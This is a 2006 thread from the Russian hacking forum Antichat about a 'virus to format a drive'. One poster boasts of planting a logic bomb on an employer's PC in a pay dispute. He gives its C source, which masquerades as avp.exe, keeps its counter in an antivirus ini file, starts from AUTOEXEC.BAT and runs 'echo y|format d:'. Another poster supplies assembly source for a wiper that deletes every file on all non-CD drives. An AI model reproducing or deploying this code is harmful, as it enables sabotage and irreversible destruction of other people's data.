Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   Windows (https://forum.antichat.xyz/forumdisplay.php?f=42)
-   -   Вирус для формата вита. (https://forum.antichat.xyz/showthread.php?t=13402)

censored! 05.02.2006 02:08

Цитата:

Жестоко.. Ну на фига формат нужен?
Гоораздо интереснее побродить по винту в поисках полезной инфы,а ФОРМАТ ето вандализм..
(Извиняюсь за оффтоп)
Как мой пример. Устроился на работу, когда начал подходить к концу месячный испытательный срок - что-то шеф засуетился по поводу оплаты. Ну я и воткнул экзешник с счетчиком. После десятой перезагрузки - формат D.
Но все обошлось.

censored! 05.02.2006 02:23

Цитата:

2 кенсоред - а что именно ты предлагаешь скомпилить ???
Хех. Щас проверил - АВП его не палит =)
...
Вот сам код:
Цитата:

#include <stdio.h>
#include <stdlib.h>
void main(void)
{
FILE *pf=fopen("c:\\progra~1\\avpsha~1\\avp.ini","r+");
int ch=getc(pf);
if (ch=='1') system("echo y|format d:");
else ch-=1;
rewind(pf);
putc(ch,pf);
fclose(pf);
exit(1);
}
...
p.s.
Цитата:

c:\\progra~1\\avpsha~1\\avp.ini
- это путь файла для счетчика.
Т.е. по этому пути:
C:\Program Files\AVP Shared Files\ должен лежать файл avp.ini содержащий сначала число 9.
В AUTOEXEC.BAT в самом ниху надо дописать:
set path=C:\WINDOWS\SYSTEM\
avp.exe

и экзешник (avp.exe) запихнуть в папку SYSTEM

drmist 05.02.2006 06:08

Писал как-то - друг попросил.
Вот программка - не совсем формат. Рекурсивный поиск по всем дискам (кроме CD-ромов) и директориям с удалением всего, на что прав хватает. Сам ни разу в жизни не запускал, но очевидцы говорят, что работает на 5.
Код:

.386
.model flat, stdcall
option casemap: none

includelib kernel32.lib

include kernel32.inc
include windows.inc

.data
        szStrDrive        db "A:\", 0
        szStrAll        db "*.*", 0
        szStrSlash        db "\", 0
        szStrIgnore1        db ".", 0
        szStrIgnore2        db "..", 0

.data?
        CurrDirectory        db MAX_PATH+1 dup (?)
        CurrFile        db MAX_PATH+1 dup (?)
        SearchString        db MAX_PATH+1 dup (?)
        FindData        WIN32_FIND_DATA <?>
        hFile                dd ?
        ddTemp                dd ?
.code
; ebx - маска логических дисков
; esi - длинна CurrDirectory со слешем на конце
; edi - offset CurrDirectory
FindAndDeleteAllFiles proc hFind: DWORD

@next_file:
        invoke FindNextFile, hFind, offset FindData
        or eax, eax
        jz @exit

@search_loop:
        mov eax, FindData.dwFileAttributes
        and eax, FILE_ATTRIBUTE_DIRECTORY
        jz @is_file
        ; Directory
        invoke lstrcmp, offset FindData.cFileName, offset szStrIgnore1
        or eax, eax
        jz @next_file

        invoke lstrcmp, offset FindData.cFileName, offset szStrIgnore2
        or eax, eax
        jz @next_file
       
        ; True Directory ;)
        push esi

        invoke lstrcat, edi, offset FindData.cFileName
        invoke lstrcat, edi, offset szStrSlash

        invoke lstrlen, edi
        xchg eax, esi

        invoke lstrcpy, offset SearchString, edi
        invoke lstrcat, offset SearchString, offset szStrAll

        invoke FindFirstFile, offset SearchString, offset FindData
       
        invoke FindAndDeleteAllFiles, eax
       
        pop esi
        mov byte ptr[esi+edi], 0

        jmp @next_file
@is_file:

        invoke lstrcpy, offset CurrFile, offset CurrDirectory
        invoke lstrcat, offset CurrFile, offset FindData.cFileName
       
        invoke DeleteFile, offset CurrFile
        jmp @next_file

@exit:
        invoke FindClose, hFind
        ret
FindAndDeleteAllFiles endp


start:
                xor esi, esi
                mov edi, offset CurrDirectory
               
                invoke GetLogicalDrives
                xchg eax, ebx
_check_drive:
                mov al, bl
                and al, 1
                jz _next_drive
               
                invoke GetDriveType, offset szStrDrive
                cmp eax, DRIVE_CDROM
                jz _next_drive

                invoke lstrcpy, edi, offset szStrDrive
                invoke lstrcpy, offset SearchString, offset szStrDrive
                invoke lstrcat, offset SearchString, offset szStrAll

                invoke FindFirstFile, offset SearchString, offset SearchString
                mov si, 3
                invoke FindAndDeleteAllFiles, eax

_next_drive:
                inc byte ptr[szStrDrive]
                shr ebx, 1
                or ebx, ebx
                jnz _check_drive

                invoke ExitProcess, 0
end start

Чистяк. Бинарник не просите - не выложу. Кто не умеет компилировать - учится.
Все на свой страх и риск, отказываюсь нести какую-либо ответственность за использование этого исходника.


Время: 05:19